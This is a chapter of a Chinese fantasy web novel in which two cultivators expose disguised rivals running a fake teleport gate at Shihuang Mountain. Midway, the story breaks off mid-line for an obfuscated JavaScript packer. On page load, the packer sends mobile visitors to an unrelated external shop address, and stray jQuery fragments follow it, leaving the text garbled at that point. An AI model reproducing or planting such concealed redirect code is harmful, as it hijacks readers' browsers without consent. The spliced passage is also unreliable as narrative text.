想象中的交战厮杀并没有发生。
正值正午,日光晃眼,庭月怀疑地搓了搓眼皮,不能相信眼前这幅过于“和平和谐”的场景。
巍峨绵延的拾荒山山脚,几百号妖魔自觉地排起长龙,整齐笔直的队伍延伸到二人眼前。
怀疑地看了眼云渡,已经做好转身离开的准备,“我们一定来错山了,这怎么可能是妖魔乱舞的拾荒山。”
后面排队一妖听闻她此话,驴耳朵竖了起来,回头嚷道:“怎么不是了嗷,妖怪就不能有素质了嗷!”
“确实是拾荒山。”云渡将她扯转回来,“且打听打听情况。”
有种回到天合仙门的肃然感,庭月不由得挺胸抬头板正身姿,看了眼云渡,又看了眼驴妖,好奇道:“你也要来找美人骨?”
很冒犯的好奇,驴妖瞪大黑眼珠,“怎么不可以嗷,我可是俺们山头最英俊的驴。”说罢,整个头变成一颗模样标准的驴头。
虽然显出妖型,不过见惯了来天合仙门运输物品的驴队,她心中生出几分亲切,笑眯眯道:“这位英俊的驴兄,为何大家都在这排起长队了。”
肯定无关素质啦。
驴兄一脸受用道:“别提了嗷,咱这里有该死的修士浑水摸鱼了,狗娘养的嗷,啥都要来抢。”
庭月微笑,云渡攥住她即将挥出去的拳头,笑如春风,客气道:“然后呢?”
“然后嗷,有个很厉害的,俺也不知道是妖是魔,他在进山处设了一道咒门嗷,只要能走过去,就不是该死的修仙者嗷。”驴兄昂了一声,催促前面的妖魔往前移动。
庭月与云渡只好先跟在队伍后。
她隔空传音给身后的云渡,道:“你觉得呢?”
好在云渡此次没有故作玄虚,了当道:“有诈。”
“走,我们去前面看看,到底是何方神圣在搅弄浑水。”庭月离开队伍,径直往长龙的前头走去,无视众妖魔投来的谴责视线。
“怎么插队啊,有没有素质!”
“你是个什么东西,敢插老娘的队!”
云渡跟在她身后,侧头对众人微微一笑,陡然放出披靡千军万马的强大气势,先礼后兵道:“抱歉,若有人不满,可先找我了解一下情况。”
“呃……”
“哪里来的小哥,长得可真是俊俏。”一女魔毫不畏惧,挺起前胸,旖旎一笑,“不如,插在姐姐前面好啦。”
“呸,不要脸!”后方的男魔吃味的嘲讽。
女魔美艳脸庞瞬时发飙扭曲,讥骂道:“硬不起来的丑东西,只准你们男的勾三搭四,不许我们女子喜爱更好的男人。”
眼见二人争吵如火焰越涨越高,云渡只奉上愈加粲目夺人的微笑。
果然,山脚入口已有了一道水波似的巨大门幕,足以同时进入十二三个人,庭月站在不远不近处观察看守门幕的二人,不知是妖是魔,都收敛了气息,戴着两张做工丑陋的人皮面具,那些妖魔为何看不出来,是了,在他们眼里,越丑越真实。
云渡漫步似的走了过来。
“不是妖,也不是魔。”
庭月心道,又来了,又来了,撇眼道:“到底是什么啊,难不成是鬼族的?”
“不是鬼,是修仙者。”
庭月霍然转头,“不可能,我们斩妖除魔都是堂堂正正,不搞这些低三下四的伎俩。”
云渡嗤笑道:“只要目的达成,用什么手段很重要么?”
庭月蹙眉,又有一批妖魔进了所谓的咒门,透过青蓝水幕,看到那群妖魔大步走向了拾荒山,“这道门幕的作用是什么,真的可以识别修仙者吗?”
云渡向前一步,淡淡道:“你看到的不一定是真实的,实际上,这些妖魔一旦踏入门中,就已经转移到了其他地方。”
“去了哪?”
“谁知道呢,或许是天寒地冻的北境,或许是恶鬼丛生的阎罗域,看这门幕主人的心情。”
云渡见她还是满脸不解,继续道:“这门幕并不是门,而是一件法宝,名为摇光镜,若水波,可变幻形体,将对手传送至大恶大险之地。”
“可恶!”庭月忽然想起狼球就是去了拾荒山,它是不是也被传走了,这可如何是好,还没和她上天作神,现下直接去了地狱。
“你们两个干什么呢,鬼鬼祟祟,是不是修仙者!”有人大声喝道。
正是看守门幕两人中的一人。
此话一出,成百上千双敌视的目光纷纷投来。
有妖魔道:“早看他俩有问题,长这副鬼样子,肯定不是什么好妖。”
议论声四起,有些妖魔展现原形,蠢蠢欲动,危险的气息如水般漫了过来。
庭月看了眼笑吟吟,目光却如刀锋凌厉的云渡,心知,靠他是不行了,关键时候还得靠自己。
武力解决问题,快速高效。
但不适用敌强我弱的情况,所以这个形势,庭月不得不动动脑子,拉过云渡与他面对面,快如闪电地掏出两张幻形符,放置他衣襟里,念动法咒,幻形符化作一缕青烟散去。
庭月隔空传音道:“好了,现在你闭嘴,由我来说。”
闪身到门幕之前,龙头位置,庭月甩出一条白色狐尾,狐尾蓬松雪白,在焦灼的日光中划出一道柔顺美丽的弧线。
众妖魔话音停滞一瞬,才道:“原来是,玄狐一族,听闻玄狐常年居于北境雪域,为了美人骨,竟千里迢迢来到拾荒山。”
什么玄狐族,庭月不过随意变了一个狐妖模样,既然他们这么认为,那就这样吧,咳了一声,道:“诸位,听我一言,我与我哥正是从北境雪域而来,我哥本是玄狐族第一美人,不料遭奸人陷害,痛失第一美人宝座,被家人抛弃,族人驱逐,为了夺回属于我哥的一切,我们才来拾荒山寻美人骨,但是——”
听得入神的众妖魔,急忙嚷道:“但是怎么了,快说啊!”
“但是,我们发现,有两个修仙者一路追杀我们,欲将我与我哥扒皮抽筋做成上等狐裘,送给他们心爱的女子。”
“这群狗娘养的修仙者,丧尽天良!”
一举着双板斧的巨人道:“你告诉我们,那两个修仙者藏在何方,我去剁碎了喂狗!”
庭月矫揉造作地擦擦眼睛,在众妖魔看不见的角度,对云渡眨了眨眼,云渡正垂头,不知道是沉思抑或羞耻,因为他后面也长出一条雪白狐尾,不受控制地扫来扫去。
“诸位,那两个修仙者不在别处,正在此处。”庭月将声音加以法术,传遍在场所有妖魔耳中。
果然如大石如水池,掀起半池浪花。
众妖魔高声嚷嚷在哪。
庭月转身,指着门前两位假人脸,“就是他们。”
眼见势头不对,那门左边一位冷笑一声,“你血口喷人,我从来没见过你。”
庭月道:“那我问你设置此门的原因为何?”
“本是为了识别修仙者,如何?”
“好,”庭月突然目光一亮,指驴为马道:“诸位请看后面。”
众妖魔回首望去。
那驴兄也往后看,只有黄沙漫天,枯草凄凄。
“最后一位便是大名鼎鼎的吃谎魔,到底谁说谎,一辩便知,”转头看门左之人,“你现在敢当着他的面,说你设置此门是为了识别修仙者。”
有妖魔惊声道:“吃谎魔,那个只要一说谎,就会被他生吃掉的大魔头吗!”
“必然是他,方才我刚见他吃了一妖,嚼都没嚼。”
“嚼了才更可怕吧。”
“你懂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143472|150201||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
什么!”
眼看又要吵起来,庭月立即比了一个手势。
门右之人突然暴起,银光一闪,杀气狰狞,庭月后背全无防御之态,如此近的距离,他这一击必中,下一瞬,“噗”的一声,□□四分五裂,血液飞溅岩石。
庭月回过头。
身体干净完整。
那偷袭之人惊恐地看着犹如神降一般的男人,白袍,黑发,天姿,他没有痛苦,也感受不到痛苦,左手飞出的时候,他还在想,此一击必中。
云渡发丝又散开了,漂亮至极的眉眼,不耐地蹙了蹙,比起那个找死的修士,这缕头发更能引起他的心烦气躁,因为他不能对自己的头发做什么惩罚。
庭月怔住。
众妖魔亦是如此。
门左之人趁此时收起法宝,御剑逃走,庭月拔出发簪化作剑光,剑光至而人落。
下一刻,尽意剑飞还手中,庭月将剑搭在逃跑之人脖侧,“进入门中的妖魔到底去了哪里,说吧。”寒意贴皮蔓延,令剑下人不敢动弹分毫。
那人仰着脖子,额头青筋凸显,权宜半瞬道:“在鬼域,第九层。”
天有九重,神威第一者居,地有九层,凶厉魁首者栖,这魁首必然是鬼蜮的鬼君袭明,没有生灵见过此鬼真面目,到现在也不知是男是女是美是丑,因为见者必神魂俱灭,是以此话一落,便知那些妖魔有去无回。
未踏入门中的妖魔心惊胆战,继而怒火冲天,全部化出原形,撕扯上来,庭月拉出云渡抵挡失去理智的妖魔,抓紧询问狼球的下落,最后压制怒意道:“若不说实话,我就将你丢给这些发了疯的妖魔,顷刻间尸骨无存。”
那人侧目,眼见妖魔啖肉饮血的凶恶本相,僵硬的人皮面具显出苍白惊恐,“我从没见过黑色的狼,狗也没见过,我是中午刚来,它怕是早就上山了。”
庭月一估算时间,知他所说应当不假,狼球上午离开,以它的速度正午前绝对可以到拾荒山,于是收回长剑,拉住与众妖魔斗法的云渡。
“现在,能不能跑就看你的运气了。”说罢,庭月与云渡闪身到是非地的三丈开外,只见没了云渡的防护,那人连翻身的机会都没有,只留下一声惨叫,惨叫是生与死之间的呼救,不过这呼救无人回应,所以绝望而凄厉,庭月远远观望,这是她第一次听到如此惨烈的叫声,不同田玉真的怒吼,这是直面死亡的痛苦恐惧,让庭月背脊爬满颤栗。
所以她转头望向云渡,迷茫闪过她晶润眸子,“我是不是不该这样做?”
完美无暇的云渡笑看她一眼,夏风滚烫卷过二人,风里带着缕缕血腥:“是不该不救他,不该拦住他,不该揭穿他,不该来拾荒山,不该遇见我,明明是他做错了,你为什么要否定自己的选择呢?”
黄土堆与杂石缝中有一棵绿草冒尖,绵延高大的群山突飞出几只怪鸟,张开翅膀,在山巅峡谷徘徊旋绕,不知何时,日光淡薄下来,如血的晚霞流水般从天边淌入山头,绚丽辉煌,丹青难画,一滴血没入黄尘,再找不到,闹剧结束,众妖魔各自进入拾荒山。
此时,一道颇显愉悦的声音,不疾不徐从上空传来——
“真是个漂亮的小东西。”。
弦乐缥缈,钟鼓阵阵,铃音叮当,漫天花雨。
七八位彩衣女子开道,容颜清丽,身姿婀娜,手持琵琶洞箫各色乐器,车两旁又有美丽天女提着花篮,撒下纷纷花雨,花车如走天阶,从碧空缓缓驰来。
那妩媚摇曳的倩音正是从花车中传出,一段雪白完美的手腕挑起朱丹薄纱,腕间并无任何饰物,任何饰物都会破坏她臂腕的美感,只见一双眼眸潋滟流光,夺人心魄,在笑,那笑让见者骨头发酥,心跳失衡,花车在众妖魔屏息之间,停到了拾荒山山脚。
是狐七。